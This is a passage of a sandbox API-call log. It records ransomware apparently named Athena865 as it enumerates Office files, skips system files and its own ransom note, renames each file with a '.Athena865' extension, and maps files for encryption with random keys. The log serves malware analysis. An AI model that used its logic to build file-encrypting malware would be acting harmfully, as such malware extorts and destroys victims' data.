[0141.708] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0141.708] lstrlenW (lpString="cat") returned 3 [0141.708] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0141.708] lstrlenW (lpString="cdb") returned 3 [0141.708] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0141.708] lstrlenW (lpString="ckp") returned 3 [0141.708] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0141.708] lstrlenW (lpString="cma") returned 3 [0141.708] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0141.708] lstrlenW (lpString="cpd") returned 3 [0141.708] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0141.708] lstrlenW (lpString="dacpac") returned 6 [0141.708] lstrcmpiW (lpString1="TL.DLL", lpString2="dacpac") returned 1 [0141.708] lstrlenW (lpString="dad") returned 3 [0141.708] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0141.708] lstrlenW (lpString="dadiagrams") returned 10 [0141.708] lstrcmpiW (lpString1="LKINTL.DLL", lpString2="dadiagrams") returned 1 [0141.708] lstrlenW (lpString="daschema") returned 8 [0141.708] lstrcmpiW (lpString1="INTL.DLL", lpString2="daschema") returned 1 [0141.708] lstrlenW (lpString="db-journal") returned 10 [0141.708] lstrcmpiW (lpString1="LKINTL.DLL", lpString2="db-journal") returned 1 [0141.708] lstrlenW (lpString="db-shm") returned 6 [0141.708] lstrcmpiW (lpString1="TL.DLL", lpString2="db-shm") returned 1 [0141.708] lstrlenW (lpString="db-wal") returned 6 [0141.709] lstrcmpiW (lpString1="TL.DLL", lpString2="db-wal") returned 1 [0141.709] lstrlenW (lpString="dbc") returned 3 [0141.709] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0141.709] lstrlenW (lpString="dbs") returned 3 [0141.709] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0141.709] lstrlenW (lpString="dbt") returned 3 [0141.709] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0141.709] lstrlenW (lpString="dbv") returned 3 [0141.709] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0141.709] lstrlenW (lpString="dbx") returned 3 [0141.709] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0141.709] lstrlenW (lpString="dcb") returned 3 [0141.709] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0141.709] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0141.709] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL.Athena865") returned 71 [0141.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll.athena865"), dwFlags=0x1) returned 1 [0141.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.712] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=255920) returned 1 [0141.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.713] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.713] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.713] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.714] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3eab0, lpName=0x0) returned 0x17c [0141.715] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3eab0) returned 0x170000 [0141.724] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.725] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.725] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.725] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0141.727] CloseHandle (hObject=0x17c) returned 1 [0141.727] CloseHandle (hObject=0x154) returned 1 [0141.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.729] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x3cebf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Issue Tracking.gta", cAlternateFileName="ISSUET~1.GTA")) returned 1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2=".") returned 1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="..") returned 1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="windows") returned -1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="bootmgr") returned 1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="temp") returned -1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="pagefile.sys") returned -1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="boot") returned 1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="ids.txt") returned 1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="ntuser.dat") returned -1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="perflogs") returned -1 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2="MSBuild") returned -1 [0141.729] lstrlenW (lpString="Issue Tracking.gta") returned 18 [0141.729] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Issue Tracking.gta" | out: lpString1="Issue Tracking.gta") returned="Issue Tracking.gta" [0141.729] lstrlenW (lpString="Issue Tracking.gta") returned 18 [0141.729] lstrlenW (lpString="Athena865") returned 9 [0141.729] lstrcmpiW (lpString1="cking.gta", lpString2="Athena865") returned 1 [0141.729] lstrlenW (lpString=".dll") returned 4 [0141.729] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2=".dll") returned 1 [0141.729] lstrlenW (lpString=".lnk") returned 4 [0141.730] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2=".lnk") returned 1 [0141.730] lstrlenW (lpString=".ini") returned 4 [0141.730] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2=".ini") returned 1 [0141.730] lstrlenW (lpString=".sys") returned 4 [0141.730] lstrcmpiW (lpString1="Issue Tracking.gta", lpString2=".sys") returned 1 [0141.730] lstrlenW (lpString="Issue Tracking.gta") returned 18 [0141.730] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.Athena865") returned 76 [0141.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.athena865"), dwFlags=0x1) returned 1 [0141.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.732] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=249535) returned 1 [0141.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.732] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.733] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.733] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.733] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d1c0, lpName=0x0) returned 0x17c [0141.735] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d1c0) returned 0x170000 [0141.744] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.745] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.745] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.745] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0141.747] CloseHandle (hObject=0x17c) returned 1 [0141.748] CloseHandle (hObject=0x154) returned 1 [0141.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.749] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JADE.CSS", cAlternateFileName="")) returned 1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2=".") returned 1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="..") returned 1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="windows") returned -1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="bootmgr") returned 1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="temp") returned -1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="pagefile.sys") returned -1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="boot") returned 1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="ids.txt") returned 1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="ntuser.dat") returned -1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="perflogs") returned -1 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2="MSBuild") returned -1 [0141.749] lstrlenW (lpString="JADE.CSS") returned 8 [0141.749] lstrcpyW (in: lpString1=0x241e8a8, lpString2="JADE.CSS" | out: lpString1="JADE.CSS") returned="JADE.CSS" [0141.749] lstrlenW (lpString="JADE.CSS") returned 8 [0141.749] lstrlenW (lpString="Athena865") returned 9 [0141.749] lstrlenW (lpString=".dll") returned 4 [0141.749] lstrcmpiW (lpString1="JADE.CSS", lpString2=".dll") returned 1 [0141.749] lstrlenW (lpString=".lnk") returned 4 [0141.750] lstrcmpiW (lpString1="JADE.CSS", lpString2=".lnk") returned 1 [0141.750] lstrlenW (lpString=".ini") returned 4 [0141.750] lstrcmpiW (lpString1="JADE.CSS", lpString2=".ini") returned 1 [0141.750] lstrlenW (lpString=".sys") returned 4 [0141.750] lstrcmpiW (lpString1="JADE.CSS", lpString2=".sys") returned 1 [0141.750] lstrlenW (lpString="JADE.CSS") returned 8 [0141.750] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS.Athena865") returned 66 [0141.750] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css.athena865"), dwFlags=0x1) returned 1 [0141.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.752] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0141.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.753] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.753] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.753] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.754] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x17c [0141.755] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0141.756] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.756] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.757] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.757] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.757] CloseHandle (hObject=0x17c) returned 1 [0141.757] CloseHandle (hObject=0x154) returned 1 [0141.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.758] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe69b00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50a35820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xafe69b00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x9980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LGND.VSL", cAlternateFileName="")) returned 1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2=".") returned 1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="..") returned 1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="windows") returned -1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="bootmgr") returned 1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="temp") returned -1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="pagefile.sys") returned -1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="boot") returned 1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="ids.txt") returned 1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="ntuser.dat") returned -1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="perflogs") returned -1 [0141.758] lstrcmpiW (lpString1="LGND.VSL", lpString2="MSBuild") returned -1 [0141.758] lstrlenW (lpString="LGND.VSL") returned 8 [0141.758] lstrcpyW (in: lpString1=0x241e8a8, lpString2="LGND.VSL" | out: lpString1="LGND.VSL") returned="LGND.VSL" [0141.758] lstrlenW (lpString="LGND.VSL") returned 8 [0141.758] lstrlenW (lpString="Athena865") returned 9 [0141.758] lstrlenW (lpString=".dll") returned 4 [0141.759] lstrcmpiW (lpString1="LGND.VSL", lpString2=".dll") returned 1 [0141.759] lstrlenW (lpString=".lnk") returned 4 [0141.759] lstrcmpiW (lpString1="LGND.VSL", lpString2=".lnk") returned 1 [0141.759] lstrlenW (lpString=".ini") returned 4 [0141.759] lstrcmpiW (lpString1="LGND.VSL", lpString2=".ini") returned 1 [0141.759] lstrlenW (lpString=".sys") returned 4 [0141.759] lstrcmpiW (lpString1="LGND.VSL", lpString2=".sys") returned 1 [0141.759] lstrlenW (lpString="LGND.VSL") returned 8 [0141.759] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.Athena865") returned 66 [0141.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.athena865"), dwFlags=0x1) returned 1 [0141.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.762] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39296) returned 1 [0141.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.763] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.763] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.763] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.764] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9c80, lpName=0x0) returned 0x17c [0141.765] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9c80) returned 0x100000 [0141.767] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.768] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.768] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.768] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.769] CloseHandle (hObject=0x17c) returned 1 [0141.769] CloseHandle (hObject=0x154) returned 1 [0141.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.769] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x112970, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MAPIR.DLL", cAlternateFileName="")) returned 1 [0141.769] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.769] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.769] 